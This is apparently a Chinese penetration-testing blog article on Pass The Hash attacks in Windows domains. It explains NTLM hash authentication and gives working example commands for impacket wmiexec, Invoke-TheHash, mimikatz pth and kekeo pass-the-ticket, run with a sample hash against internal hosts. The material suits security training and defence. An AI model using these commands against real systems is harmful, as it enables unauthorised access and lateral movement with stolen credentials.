7、域滲透——Pass The Hash的實現
0x00 前言
在之前的文章《域滲透——Pass The Hash & Pass The Key》曾介紹過kb2871997對Pass The Hash的影響。本文將站在另一個角度,介紹Pass The Hash的相關實現
0x01 簡介
本文將要介紹以下內容:
- Pass The Hash的原理
- 常用工具
- mimikatz中的Pass The Hash
- mimikatz中的Pass The Ticket
0x02 Pass The Hash的原理
可參考Wikipedia的介紹,地址如下:
https://en.wikipedia.org/wiki/Pass_the_hash
提取出關鍵資訊:
- 在Windows系統中,通常會使用NTLM身份認證
- NTLM認證不使用明文口令,而是使用口令加密後的hash值,hash值由系統API生成(例如LsaLogonUser)
- hash分為LM hash和NT hash,如果密碼長度大於15,那麼無法生成LM hash。從Windows Vista和Windows Server 2008開始,微軟預設禁用LM hash
- 如果攻擊者獲得了hash,就能夠在身份驗證的時候模擬該使用者(即跳過呼叫API生成hash的過程)
注:
mimikatz支援匯出記憶體中使用者的LM hash,但前提是Windows系統支援LM hash
Windows Server 2008啟用LM hash的方法:
gpedit.msc
-計算機配置
-Windows 設定
-安全設定
-本地策略
-安全選項
找到網路安全︰ 不要在下次更改密碼儲存 LAN 管理器的雜湊值
,選擇已禁用
系統下一次更改密碼後,就能夠匯出LM hash
0x03 常用工具
當我們獲得某個使用者的口令hash,並且條件限定我們不去破解明文口令,實現Pass The Hash都有哪些工具呢?
1、Kali下的工具
(1) meterpreter
use exploit/windows/smb/psexec_psh
(2) 工具集
位於密碼攻擊
-Passing the Hash
下,如下圖
包含多種利用工具
2、Windows系統下的工具
(1) python
wmiexec:
參考地址:
https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
exe版本下載地址:
https://github.com/maaaaz/impacket-examples-windows
注:
wmiexec.py的註釋中提示"Main advantage here is it runs under the user (has to be Admin) account",經實際測試普通使用者許可權即可
引數例項:
wmiexec -hashes 00000000000000000000000000000000:7ECFFFF0C3548187607A14BAD0F88BB1 TEST/test1@192.168.1.1 "whoami"
wmiexec.py的hash引數格式為LMHASH:NTHASH
,由於該Hash來自於Server 2008,系統預設不支援LM hash,所以LM hash可以設定為任意值
(2) powershell
參考地址:
https://github.com/Kevin-Robertson/Invoke-TheHash/
支援多種方式
Invoke-WMIExec:
引數例項:
Invoke-WMIExec -Target 192.168.1.1 -Domain test.local -Username test1 -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command "calc.exe" -verbose
類似wmiexec.py
Invoke-SMBExec:
支援SMB1, SMB2 (2.1), and SMB signing
引數例項:
Invoke-SMBExec -Target 192.168.0.2 -Domain test.local -Username test1 -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command "calc.exe" -verbose
通過在目標主機建立服務執行命令,所以許可權為system
Invoke-SMBClient:
支援SMB1, SMB2 (2.1), and SMB signing
如果只有SMB檔案共享的許可權,沒有遠端執行許可權,可以使用該指令碼
支援的功能包括列舉目錄、上傳檔案、下載檔案、刪除檔案(具體許可權取決於該口令hash的許可權)
(3) mimikatz
Pass-The-Hash:
實際上為Overpass-the-hash
引數例項:
privilege::debug
sekurlsa::pth /user:test1 /domain:test.local /ntlm:7ECFFFF0C3548187607A14BAD0F88BB1
注:
mimikatz的pth功能需要本地管理員許可權,這是由它的實現機制決定的,需要先獲得高許可權程式lsass.exe的資訊
對於8.1/2012r2,安裝補丁kb2871997的Win 7/2008r2/8/2012,可以使用AES keys代替NT hash
Pass-The-Ticket:
考慮到mimikatz的pth功能需要本地管理員許可權,所以mimikatz也提供了不需要管理員許可權的解決方法Pass-The-Ticket
Pass-The-Ticket需要用到gentilkiwi開源的另一款工具kekeo,下載地址:
https://github.com/gentilkiwi/kekeo
引數例項:
kekeo "tgt::ask /user:test1 /domain:test.local /ntlm:7ECFFFF0C3548187607A14BAD0F88BB1"
執行後生成票據TGT_test1@TEST.LOCAL_krbtgt~test.local@TEST.LOCAL.kirbi
接下來匯入票據:
kekeo "kerberos::ptt TGT_test1@TEST.LOCAL_krbtgt~test.local@TEST.LOCAL.kirbi"
0x04 小結
本文列舉了多種實現Pass The Hash的工具,歡迎補充
相關文章
- 域滲透——Pass The Hash & Pass The Key
- 域滲透——Pass The Ticket
- 內網滲透-初探域滲透內網
- 域滲透——Skeleton Key
- 域滲透——Hook PasswordChangeNotifyHook
- 域滲透之利用WMI來橫向滲透
- 9、Metasploit域滲透測試全程實錄
- 3、域滲透詳解
- 域內滲透基本技巧
- 域滲透——Security Support ProviderIDE
- 域滲透的金之鑰匙
- 域滲透——Local Administrator Password Solution
- 域滲透之ldap協議LDA協議
- 技術分享 | 域滲透AdminSDHolder
- NTLM協議與Pass the Hash的愛情協議
- 2、超詳細的域滲透過程
- 安全技術 | 域滲透之SPN
- 記一次大型且細小的域滲透實戰
- 域滲透之ATT&CK實戰系列——紅隊實戰(一)
- TPLINK滲透實戰
- 10、一篇經典的域滲透文章
- 雜湊傳遞攻擊利用(Pass The Hash)
- C語言實現一個簡易的Hash table(7)C語言
- 11、域滲透測試中使用到的命令+工具
- 【推薦】超實用的7款專家級滲透測試工具!
- 域滲透之初識Kerberos認證過程ROS
- 【第7個滲透靶機專案】 DerpNStink
- vulnhub-DC:7靶機滲透記錄
- 8、域滲透——獲得域控伺服器的NTDS.dit檔案伺服器
- 1、域滲透基礎簡單資訊收集
- 滲透測試實驗二
- 網路滲透實驗四
- 第六章-實用滲透技巧-1:針對雲環境的滲透
- 滲透測試常用的7個工具,建議新手收藏!
- 12、強大的內網域滲透提權分析工具——BloodHound內網
- 7款滲透測試工具,你必須知道!
- 14、域滲透神器Empire安裝和簡單使用
- 域滲透之初識LM&NTLM認證過程